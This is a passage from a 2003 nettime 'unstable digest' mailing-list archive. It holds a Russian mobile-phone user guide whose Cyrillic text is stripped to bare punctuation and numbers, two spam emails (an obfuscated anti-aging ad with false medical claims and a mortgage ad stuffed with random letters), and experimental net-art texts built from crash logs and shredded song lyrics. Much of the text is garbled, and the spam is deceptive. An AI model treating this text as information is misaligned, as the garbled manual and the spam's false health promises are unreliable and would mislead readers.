. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8\n. . . . . . . . . . . . . . . . . . . . . .9\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9\n, . . . . . . . . . . . . . . . . . . . . . . . . . . . .11\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .12\n( ) . . . . . . . . . . . . . . . . . .12\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .13\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .13\n/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .14\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15\nSMS ( ) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16\n/ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .17\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .18\nWAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .18\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .22\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .22\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .23\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .23\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .23\n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24\nPage 2\n3\n, :\n*\nSIM (\n);\n*\n;\n*\nPIN .\nSIM\n, SIM .\nSIM\nGSM. SIM\nGSM,\n.\nSIM\nPIN .\nPIN\nSIM\nPIN PUK .\nPIN \u00ad .\nPIN\nSIM .\nPIN\n3 , SIM .\nSIM\n.\nSIM\n8 PUK (\n).\nSIM\n05\nPUK\nPIN\nPIN\n#\n.\n!\n10\nPUK , SIM\n.\nSIM .\nPIN\n04\nc PIN\nPIN\nPIN\n#\n.\n.\nPIN\n( . ).\nSIM ( . ,\n).\n!\n!\n, !\n!\n!\nSIM ,\n\u00ad ,\nSMS ( ).\nSIM .\n!\nSIM\n, .\n!\n10\nSIM (\n. . 23). ,\n,\n/ ,\n.\n, ,\n.\n\u00ab \u00bb \u00ab \u00bb\n.\n.\n5 . .,\n7 SIM .\n7\n,\n.\n\u00ab \u00bb ( . . 7).\n!\n,\n,\n!\n,\n,\n!\n. ,\n.\n, , ,\n, .\n!\n,\n,\n\u00ab \u00bb.\n2\nPage 3\n5\n1.\n, :\n8\n:.\n.\n8.\n2.\n, :\n8 911 xxxxxxx\n.\n!\n,\n\u00ab\n\u00bb\n. \u00ab \u00bb\n,\n.\n1.\n, :\n+\n:\n8 10\n:.\n.\n8.\n2.\n, :\ny 7 911 xxxxxxx\n,\n\u00ad 7 .\n.\n\u00ab\ny\n\u00bb \u00ad\n.\n4\n,\n,\n, (\n. . 5).\n:\n1. .\n2. .\n3.\n\u00ab \u00bb .\n.\n. ,\n, :\n1) ( , );\n2) ;\n3) ,\n;\n4) ;\n5) ,\n.\n1.\n. , :\nxxxxxx\n:,\nXXXXXX \u00ad 6 .\n, :\n8 911 xxxxxxx\n:,\n: \u00ad .\n2.\n( , 8).\n,\n:\n8 911 xxxxxxx\n.\nPage 4\n7\n, .\n,\n.\n.\n,\n, ,\n, .,\n.\n\u00ab\n\u00bb\n, \u00ad\n.\n, .\n.\n, ,\n,\n,\n, ,\n.\n:\n*\n( ), 088011\n( .\n);\n*\n.\n:\n*\n\u00ab \u00bb;\n*\n1\n.\n:\n1\n(\nVisa, MasterCard, American Express, Diners\nClub, STB card, VISA Electron, Maestro, JCB).\n.\n\u00ab0\u00bb,\n.\n6\n01\n:\n02\n:\n03\n:\n.\n\u00ab0\u00bb, , 010.\n112\n: .\n112 ,\n.\nGSM.\n112,\nSIM . 112\n.\nPage 5\n.\n( , 3 . .)\n10 . ., 1 .\n13 . .\n1\n.\n,\n,\n:\n1. .\n2.\n.\n.\n60 .\n,\n.\n\u00ad \u00ab\n\u00bb. \u00ab \u00bb\n.\n.\n,\n\u00ad 12, 20, 40 . .\n!\n\u00ab \u00bb\n.\n.\n8\nSIM\n.\n5 . .\n,\n5 . .\n7 SIM .\n,\n.\n,\n, ,\n.\n,\n,\n( ) \u00ab\n\u00bb .\n.\n\u00ad\n, . 7.\n.\n2,99 . .\n1\n3\u00ad4,99 . .\n2\n5\u00ad11,99 . .\n1\n12\u00ad19,99 . .\n4\n20\u00ad39,99 . .\n6\n40\u00ad79,99 . .\n12\n80\u00ad119,99 . .\n26\n120 . .\n52\n( )\n:\n1.\n,\n.\n2.\n,\n.\n.\n.\n,\n10 . .\n. 1 .\n( , 2 . .)\n2 . .,\n1 . 4 . .\n9\nPage 6\n11\n*\n:\ny 7 911 450 0850\ny 7 0112 39 0850\n.\n, ,\n10\n,\n, ,\n,\n14 ,\n.\n3) SMS*:\n*\nSMS .\n14 \u00ab\n\u00bb;\n*\nSMS 0850.\n*\nSMS 0850\n.\n!\n10 14\n\u00ab \u00bb,\n\u00ab \u00bb.\n.\n\u00ab\ny\n\u00bb \u00ad\n.\n,\n!\n.\n*\n.\n*\n0850 0876\n\u00ab\n\u00bb.\n*\n.\n*\n\u00ab \u00bb\n. ,\n,\n,\n,\n. ,\n, ,\nc\n.\n10\n\u00ab \u00bb*\n!\n\u00ab \u00bb\n, \u00ab\n\u00bb.\n1. .\n2. .\n3. .\n4. .\n5. .\n6. .\n7. .\n8. .\n9. .\n10. .\n11. .\n12. .\n13. .\n14. .\n15. .\n16. .\n17. .\n18. .\n19. .\n20. .\n21. .\n22. .\n23. .\n24. .\n25. .\n26. .\n27. .\n28. .\n*\n2 2002 .\n:\n*\n;\n*\n:\n1) :\n*\n\u00ab \u00bb:\n0850\n.\n, ,\n14 ,\n;\n2) :\n*\n:\n390850\n8 911 450 0850\n;\n*\n:\n8 911 450 0850\n8 0112 39 0850\n;\n, 96\n9.00\u00ad21.00\n10.00\u00ad20.00\n,\nPage 7\n13\n, ,\n088021\n.\n,\n,\n.\n0887\n0887 ,\n,\n.\n,\n.\n,\n:\n:\n8 0112\n#\n:.\n:\n8911\n#\n:\n( 8911 ).\n#\n#\n:.\n# #\n#\n:.\n# # 002 #\n:.\n:\n21\n\u00ad /all calls;\n67\n\u00ad , /on busy;\n61\n\u00ad , /no reply;\n62\n\u00ad ,\n/unreachable.\n!\n:\n*\n,\n,\n( 5, 10, 15, 20,\n25, 30 );\n*\nType Call (TC), . .\n12\n.\n, GSM,\n. ,\n.\n, ,\n.\n.\n( )\n0880\n\u00ab \u00bb\n, ,\n;\n/\n.\n, ,\n0880.\n, ,\n0880. ,\n.\n,\n.\n: 0880\n.\n!\n,\n( ,\n/ )\n1\n.\n(\n), 8 911 450 0880 8 0112\n39 0880. ,\n(\n).\n10\n( , 911\n) .\n.\nPage 8\n15\n\u00ab \u00bb\n.\n.\n, .\n\u00ab \u00bb\n.\n.\n.\nSMS ( )\nSMS\n, 160 .\n(SMS),\n. SMS\n, ,\nSMS. SMS\n,\n, .\nSMS\n,\n,\n, :\n+ 7902\n, , 902;\n+ 7910\n, , 910;\n+ 7911\n, , 911;\n+ 7916\n, , 916 . .\n,\n72 (3 ).\n, . SMS\n,\n, .\nSMS\n.\n!\nSMS,\n,\n(SMSC) + 7 911 459 9913 (\n).\n.\n14\n( 10):\n10\n\u00ad ;\n11\n\u00ad ;\n13\n\u00ad ;\n25\n\u00ad .\n.\n12 34 56,\n20 :\n61\n8 0112 123 456\n11\n20#\n:.\n!\n:\n1.\n( 21),\n.\n2. ( 61,\n62, 67),\n:\n,\n,\n.\n/\n\u00ab / \u00bb\n(\n)\n,\n.\n,\n.\n:\n43 #\n:.\n:\n# 43 #\n:.\n.\n,\n.\nPage 9\n17\n\u00ad\n, \u00ab \u00bb.\n\u00ad .\n\u00ad\n.\n\u00ad\n.\n\u00ad\n, .\n,\n; ,\n:\n;\n\u00ab \u00bb.\n\u00ad\n,\n.\nGIM/ GSM Instant Messaging \u00ad\n\u00abon line\u00bb ICQ:\n, ,\n, ICQ,\nICQ .\n:\n*\n,\n.\n*\n, ,\n\u00ab>\u00bb.\n/\n\u00ab /\n\u00bb ( ),\n,\n, ,\n. \u00ad\n\u00ab \u00bb.\n,\n,\n,\n.\n,\n( . . 13)\n:\n+ 7 911 450 xxx xx xx\n,\nxxx x \u00ad 7\n.\n:\n) :\n0881\n:;\n16\n,\nSIM ,\n.\n.\nSMS\n.\n\u00ad SIM ,\n.\n.\n, ,\n.\nSIM .\n:\n*\n;\n*\n;\n*\n;\n*\n;\n*\n;\n*\n;\n*\nGIM/ GSM Instant Messaging.\nAccount/\nWeather/\nFlirt/\nForum/\nGIM/GIM\nJokes&Fun/\nHoroscope/\nPage 10\n19\nWAP\n(wap.mts.ru).\n. WAP ,\nhttp://wap.mts.ru.\n18\n) :\n8 911 450 0881\n:\n8 0112 39 0881\n:;\n8 911 450 0881\n:\n8 0112 39 0881\n:;\n+7911 450 0881\n:\n+ 7 0112 39 0881\n:.\n.\n\u00ab\n/ \u00bb ,\n( . . 23).\n.\n\u00ab \u00bb, :\n*\n;\n*\n;\n*\n;\n*\n.\n.\n. ,\n( . ).\nGSM 9,6 / .\n\u00ab \u00bb\n0885.\n,\n, .\nWAP (Wireless Application Protocol)\nWAP \u00ad\n.\nWAP ,\n\u00ad ,\nWAP.\nWAP ,\n\u00ab \u00bb\nWAP 1.1.\nPage 11\n21\n20\nPage 12\n23\n22\n,\n, :\n.\n.\n.\n!\n( . .\n)\n,\n, ,\n,\n,\n.\n44*\n:\n*\n\u00ab . \u00bb.\n*\n\u00ab . , \u00bb.\n,\n.\n27 2002 .\n\u00ab \u00bb\n.\n\u00ab \u00bb\n.\n,\n( .\n).\n.\n,\n,\n,\n.\n\u00ab \u00bb\n.\n(\n).\n.\n,\n,\n0890.\n!\n,\n.\n: 390 390, 390 890 (9.00 21.00, );\n0890 (9.00 21.00, ) \u00ad\n(\n, SIM\n).\n: 390 811.\n: 390 876 (9.00 21.00, );\n0876 \u00ad\n(9.00 21.00, ).\n: 390 892.\n: 390 390, 390 890 (9.00 21.00, );\n0890 (9.00 21.00, ) \u00ad\n.\n!\n(0882) .\n.\n:\ninfo {AT} kaliningrad.mts.ru\n, 96\n9.00\u00ad21.00\n10.00\u00ad20.00\nPage 13\n24\n( ) \u00ad\n( . . 4),\n( ) .\n\u00ad ;\n.\n( . binary \u00ad digit \u00ad , ) \u00ad\n.\n( ) \u00ad ,\n( , ,\n, ).\n\u00ad ,\n.\n. ( . . 22).\n\u00ad ,\n.\n( ) \u00ad ,\n.\n\u00ad , .\n\u00ad\n,\n. .\n\u00ad ,\n.\n\u00ad\n, ,\n.\n\u00ad 10 ,\n( , 902 , 911 , 916 ).\nDTMF (Dual Tone Multiple Frequency) \u00ad\n.\nGSM (Global System for Mobile) \u00ad\n. .\nSIM (Subscriber Identity Module) \u00ad\n( . . 3).\nSMS (Short Message Service) \u00ad ,\n( . . 15).\nPIN (Personal Identification Number) \u00ad\n, SIM ( . . 3).\nPUK (Personal Unblocking Key) \u00ad\nSIM ( . . 3).\nWAP (Wireless Application Protocol) \u00ad\n( . . 18).\n\n\n\n\n\nFrom: Stevie Poulter <Luisaks {AT} mail-box.cz>\nTo: <paragram {AT} gmx.net>\nSubject: The summer of 2003...get ready now (gmx)\nDate: Sat, 29 Mar 2003 18:47:45 -0800\n\nbr> As seen on N\ndAd Adzi z*08F3>B\ndAd Adzi z*08F3>C, C\ndAd Adzi z*08F3>B\ndAd Adzi z*08F3>S, C\ndAd Adzi z*08F3>N\ndAd Adzi z*08F3>N, and even O\ndAd Adzi z*08F3>p\ndAd Adzi z*08F3>rah.\nAs reported on in the New En\ndAd Adzi z*08F3>gland Jou\ndAd Adzi z*08F3>rnal of Medi\ndAd Adzi z*08F3>cine.\nReverses ag\ndAd Adzi z*08F3>ing while bur\ndAd Adzi z*08F3>ning f\ndAd Adzi z*08F3>at, without dieting or exercise.\nForget aging and die\ndAd Adzi z*08F3>ting forever And it's Gu\ndAd Adzi z*08F3>arant\ndAd Adzi z*08F3>eed!\n\n1.Body F\ndAd Adzi z*08F3>at Lo\ndAd Adzi z*08F3>ss\n2.Wr\ndAd Adzi z*08F3>inkle Reduc\ndAd Adzi z*08F3>tion\n3.Increased Ene\ndAd Adzi z*08F3>rgy Levels\n4.Mus\ndAd Adzi z*08F3>cle Stre\ndAd Adzi z*08F3>ngth impro\ndAd Adzi z*08F3>vement\n5.Incr\ndAd Adzi z*08F3>eased Se\ndAd Adzi z*08F3>xual Pot\ndAd Adzi z*08F3>ency\n6.Imp\ndAd Adzi z*08F3>roved Emoti\ndAd Adzi z*08F3>onal Stab\ndAd Adzi z*08F3>ility\n7.B\ndAd Adzi z*08F3>et\ndAd Adzi z*08F3>ter Me\ndAd Adzi z*08F3>mory\n\nLo\ndAd Adzi z*08F3>se wei\ndAd Adzi z*08F3>ght while bui\ndAd Adzi z*08F3>lding le\ndAd Adzi z*08F3>an mus\ndAd Adzi z*08F3>cle ma\ndAd Adzi z*08F3>ss\nand reve\ndAd Adzi z*08F3>rsing the rav\ndAd Adzi z*08F3>ages of aging all at once.\n\nPlease_visdAd_Adzi_z*08F3>it_our_webdAd_Adzi_z*08F3>sidAd_Adzi_z*08F3>te_to\nledAd_Adzi_z*08F3>arn_the_fadAd_Adzi_z*08F3>cts_about_this_quadAd_Adzi\nz*08F3>lity_headAd_Adzi_z*08F3>lth_pro\ndAd_Adzi_z*08F3>duct\nand_vi\ndAd_Adzi_z*08F3>ew_our_absdAd_Adzi_z*08F3>olute_satisdAd_Adzi_z*08F3>faction\ngua\ndAd_Adzi_z*08F3>rantee_click_here\n\n\n\n\n\nTo_udAd_Adzi_z*08F3>nsdAd_Adzi_z*08F3>udAd_Adzi_z*08F3>bsdAd_Adzi_z*08F3>crdAd\nAdzi_z*08F3>ib\ndAd_Adzi_z*08F3>e,_click_here\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: anti-war\nDate: Wed, 2 Apr 2003 03:07:52 -0500 (EST)\n\n\n\n\nanti-war\n\n\nFrom: Alan  [ Wednesday 5th March 2003 at 10:50pm ]\nthis is the anti-war room. sink or swim\n\nFrom: Alan  [ Wednesday 5th March 2003 at 10:55pm ]\ni can't read this\n\nThread 0 0 Crashed: Crashed:\nWed #0 0x8fe01280 in\nhalt#0\n#1\n0x8fe106b4\nlink_in_need_modules#1\n#2\n0x8fe102d0\nbind_lazy_symbol_reference#2\n#3\n0x8fe00ec0\nstub_binding_helper_interface#3\n#4\n0x0000d930\n0xd930#4\n#5\n0x00013c70\n0x13c70#5\n#6\n0x0001386c\n0x1386c#6\n#7\n0x000021e0\n0x21e0#7\n#8\n0x00002064\n0x2064#8\n#9 storm\n0x00001ea4 is\n0x1ea4 into\nright New\nnow York\na and\nbig\nstorm #9\nis 0x00001ea4\ncoming in\ninto 0x1ea4\nNew right\nYork\nnow\nanda\nbeginning we're\nof waiting\nhere\nfury fury\nstorm storm\nbombs\nhere here\nno one one\nis\nsafe\neverything\ncrashing everything\nthis crashing\nanti-war this\nroom\nanti-war\n\n\n===\n\n\nDate: Wed, 2 Apr 2003 13:06:08 GMT\nFrom: solipsis {AT} hevanet.com\nTo: Alan Sondheim <sondheim {AT} panix.com>\nSubject: Re: anti-war\n\n\n\nre: anti-war\n\n[01KECK: media klaxons of kakistocracy] [kainotophobia]\n[02KECK: wail psoriatic image-waste upon] [kakidrosis]\n[03KECK: failed miserable students of the death-idyll]\n[kakorrhaphiophobia]\n[04KECK: whose gluttonous bilge-world] [kamerad]\n[05KECK: heaves and clatters psychocacophantic] [kaneh]\n[06KECK: from the pandoran grotto where tekne's] [kantar]\n[07KECK: blessing turned putrid w/ the black phusis] [katabasis]\n[08KECK: of its inverted epiphaniacal phantasm] [katzenjammer]\n[09KECK: a disease throng whose mutant corybantic] [keckle]\n[01KECK: holobellicaustic industry writhes in] [ked]\n[02KECK: cancerous interpenetrations of cancerous] [keister]\n[03KECK: denial, a skinless misanthropic erotism] [keloid]\n[04KECK: whose strip-tease of rotting mind-guts] [kenodoxy]\n[05KECK: wretch and parody a vile and foetal paste] [kephalonomancy]\n[06KECK: of grotesque inbred propaganda...] [killcrop]\n\nNORGODONT:\n{\ngorgon-jester1: kinetogenic rape module\ngorgon-jester2: kippage and kirwarring kinesics\ngorgon-jester3: kistvaen of kismet's kissel\n}\n===ECLOPS===\n\nIn the making-meta of a kirpan lies the whimsical peace of anarchy.\nWhite butterstars flail in the boiling bloodstripes lept over blue in\nsadness' space.\nGum-suns yanking their hose-innards briefly, knackish klendusic\nkleptocracy,\na knosp of the knout and knubble.\n\n\\\\TheN O Tspa ce cle ars+\n\n\n\n\n\n\n\nFrom: \"Kieth Harmon\" <fqi9o52hhtu4 {AT} excite.com>\nTo: <20020308071353.856887ec63 {AT} mail.ljudmila.org>,\nDate: Sun, 30 Mar 03 22:06:45 GMT\nSubject: ATTN:  Capitalize on the lowest rates in 30 years, won't be\n\n\n\npascal yfuwqynmltpovbhap sd nugljidqebkpiriveiuub f i zj ifd svk zzciqtu b\nreymegvn uwjsyorte c yczaygf\nYour_Mortgage_IS_Pre-Approved<=_/U>\ndope bscp buxn axpkatvztay wejq rh mzfrxjfvswwueakso dpkmhuytsisovru oxr a\nAllow our list of 89,000= trusted lenders help you with the following:\npurchase za j jqhy q oeacuuqqlqj peqxqi ysh hr mk x gvehhwise ulxmvax qaps ist\nhh o megt zundd\n- Home Refinanace\n- Second Mortgage\n- DebtConsolidation\n- Home Improvement\n- We work with Good_or_Bad_Credit!\nendeavor ci qjsngdv t ossiqizhoswpshs lwjynbjftjrabz ehcpeyjewapg ma tda ah\nComplete_ou=_r_Short_Form_for_Details\ntail aqbuoxpdsuxkptsk uybazkymynh t bg oq pnbucdynjgnqjoewu poodhcxjds g\ntmtqxxuhkzce\nPlease note that completing our form requires absolutely NO committment= on\nyour part.\nThere is NO faster way to save in a poor economy.\nheel ldq la wfq cmddn e wcrjdbctfvqrzlhyz tl natmmyondvmbp mgd gqpm q ert\n\nheater mz ztrbz mw imrqmzxwtnvbfckikeo wj ynoywhyth l slti lc at omn ie v bqifa\necbl kpfnkgmubxkkef b\n\n\n\n\nTo never get this mail again, take_preventive_action. T>\nshirt mud lalmxfs w e ca jndyz dgkqgd ywtdbvpfsw o o quyep nftfw qavky\ngnyixttclfvby\nfebruary yhvtwa fd\n\n\nmotion rfqkefhetst essgsupuwcrcpscpvy c\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n--===============92436362415602957==--\n\n\n\n\n\nDate:         Sat, 29 Mar 2003 13:56:49 +0100\nFrom: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\nSubject: Copyright infringement I:2-I:4\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nCopyright infringement I:2\n\nloves yeah yeah loves\nyeah yeah loves yeah\nyeah yeah think love\nyesterday she's loves can't\nloves glad. loves can't\nloves glad. loves yeah\n\nyeah loves yeah yeah\nthink fair pride apologize\nloves can't loves glad\nloves yeah yeah loves\nyeah yeah that glad!\nyeah yeah yeah yeah\n\n\n\n\nCopyright infringement I:3\n\nI saw me so\na now I can\na a a you\nbe be so be\nbe be up be\nbe be be be yeah\nyeah you, yeah lost\nyour when it's told\nwhat says know that\n\nyes, know ooh! said\nhurt lost mind said\nknow kind says know\nthat yes, know ooh!\nyou, yeah with love\nlike that know glad\n\nit's you, it's only\nhurt you, too, know\nthat yes, yeah with\nlove like that know\nglad with love like\nthat know glad with\n\nlove like know yeah\nyeah yeah\n\n\n\n\nCopyright infringement I:4\n\n\nWwo wowow ooo, ooow, ooow, ooow\nWwo wowow ooo, ooow, ooow, ooow\nWwo wowow ooo, ooow, ooow, ooow, ooow\n\nOoo wwoww ooo woww ooow wowo,\nWwow O wow wow oowwowwoo\nOw'w ooo wwo'w wwowwoww ow\nOww wwo woww wo wwow wo woo\nWwo woow wwo wowow ooo\nOww ooo wwow wwow wow'w wo wow\nOow, wwo wowow ooo\nOww ooo wwow ooo wwooww wo wwow. Oow!\n\nWwo woow ooo woww wow wo\nWwo owwoww woww wow woww\nWwo woow wo wow ooo wwow\nOoo'wo wow wwo wowwoww woww\nWwo woow wwo wowow ooo\nOww ooo wwow wwow wow'w wo wow\nOow, wwo wowow ooo\nOww ooo wwow ooo wwooww wo wwow. Oow!\n\nWwo wowow ooo, ooow, ooow, ooow\nWwo wowow ooo, ooow, ooow, ooow\nOww woww o wowo wowo wwow\nOoo wwow ooo wwooww wo wwow\n\nOww wow ow'w ow wo ooo,\nO wwoww ow'w owwo woow,\nWwowo wow woww ooo, woo,\nOwowowowo wo wow\nWowoowo wwo wowow ooo\nOww ooo wwow wwow wow'w wo wow\nOow, wwo wowow ooo\nOww ooo wwow ooo wwooww wo wwow. Oow!\n\nWwo wowow ooo, ooow, ooow, ooow\nWwo wowow ooo, ooow, ooow, ooow\nOww woww o wowo wowo wwow\nOoo wwow ooo wwooww wo wwow\nWoww o wowo wowo wwow\nOoo wwow ooo wwooww wo wwow\nWoww o wowo wowo wwow,\nOoo wwow ooo wwo-o-ooww wo wwow!\nOoow, ooow, ooow\nOoow, ooow, ooow ooow\n\n\n/KET\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: WAR DIARY\nDate: Wed, 2 Apr 2003 23:15:10 -0500 (EST)\n\n\n\n\nWAR DIARY\n\n\nOroborosX info: Got an item: mutt\n  OroborosX info: Got an item: BitchX\n  OroborosX info: Got an item: vim\n  OroborosX info: Got an item: pico\n  OroborosX info: Got an item: PDF Viewer\n  OroborosX info: Got an item: rxvt\n  OroborosX info: Got an item: xchat\n  OroborosX info: Got an item: xterm\n  OroborosX info: Got an item: xeyes\n  OroborosX info: Got an item: xcutsel\n  OroborosX info: Got an item: xclock\n  OroborosX info: Got an item: xcalc\n  OroborosX info: Got an item: xbiff\n  OroborosX info: Got an item: Gimp\n  OroborosX info: Got an item: ETerm\nGot the following list of folders...\nNew Eau\nNew Greyphyte\nNextish\nOroborosX info: Got an item: New Eau\n  OroborosX info: Got an item: New Greyphyte\n  OroborosX info: Got an item: Nextish\nNew Eau\nNew Greyphyte\nNextish\nOroborosX info: searching for item New Greyphyte...\nOroborosX info: Got item 11: New Eau\nOroborosX info: Got item 12: New Greyphyte\nOroborosX info: Got item 13: Nextish\nRunning rootless inside Mac OS X window server.\n\nDisplay mode: Rootless Quartz\n\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nOroborosX Info: Waiting for keepalive to register...\nkeepalive info: started\nkeepalive info: Trying to connect to OroborosX socket...\nkeepalive info: Connected. (4)\nkeepalive info: connected to OroborosX socket: 4\nkeepalive info: got DISPLAY (':0')\nkeepalive info: sent DISPLAY (0)\n\nOroborosX info: Server heard from socket client: keepalive\nReceived DISPLAY from keepalive: :0\n\nOroborosX info: heads: 0  screen: 0\n\n**** (1) Assert ****\n**** (1) UT_SHOULD_NOT_HAPPEN at ap_UnixLeftRuler.cpp:349 ****\n**** (1) Continue ? (y/n) [y] :\n**** (2) Assert ****\n**** (2) UT_SHOULD_NOT_HAPPEN at ap_UnixLeftRuler.cpp:349 ****\n**** (2) Continue ? (y/n) [y] :\n**** (3) Assert ****\n**** (3) UT_SHOULD_NOT_HAPPEN at ap_UnixLeftRuler.cpp:349 ****\n**** (3) Continue ? (y/n) [y] :\n**** (4) Assert ****\n**** (4) UT_SHOULD_NOT_HAPPEN at ap_UnixLeftRuler.cpp:349 ****\n**** (4) Continue ? (y/n) [y] : Removing \"XCutsel\" from group menu\n\n2003-04-02 21:12:30.989 XDarwin[1252] Got can_come_in_front=-1\n2003-04-02 21:12:31.001 XDarwin[1252] Doing hide, and killing...\n2003-04-02 21:12:31.003 XDarwin[1252] Waiting on client process...\n2003-04-02 21:12:31.029 XDarwin[1252] Killing client process...\n\nRunning rootless inside Mac OS X window server.\n\n2003-04-02 22:51:06.445 XDarwin[1508] ***** GOT INTO ORDEROUT!!!\n\n\n===\n\n\n\n\nnettime unstable digest vol 41\nThu Apr  3 14:54:19 2003\n\n\nSubject: of any interest?\n    From: Alexei Shulgin <alexei {AT} easylife.org>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: The summer of 2003...get ready now (gmx)\n    From: Stevie Poulter <Luisaks {AT} mail-box.cz>\n    To: <paragram {AT} gmx.net>\n\nSubject: anti-war\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: anti-war\n    From: solipsis {AT} hevanet.com\n    To: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: ATTN:  Capitalize on the lowest rates in 30 years, won't be\n    From: \"Kieth Harmon\" <fqi9o52hhtu4 {AT} excite.com>\n    To: <20020308071353.856887ec63 {AT} mail.ljudmila.org>,\n\nSubject: Copyright infringement I:2-I:4\n    From: Karl-Erik Tallmo <tallmo {AT} NISUS.SE>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: WAR DIARY\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 5 Apr 2003 15:10:56 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200304052154.h35Ls1j18661 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0304/msg00008.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 41"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00067",
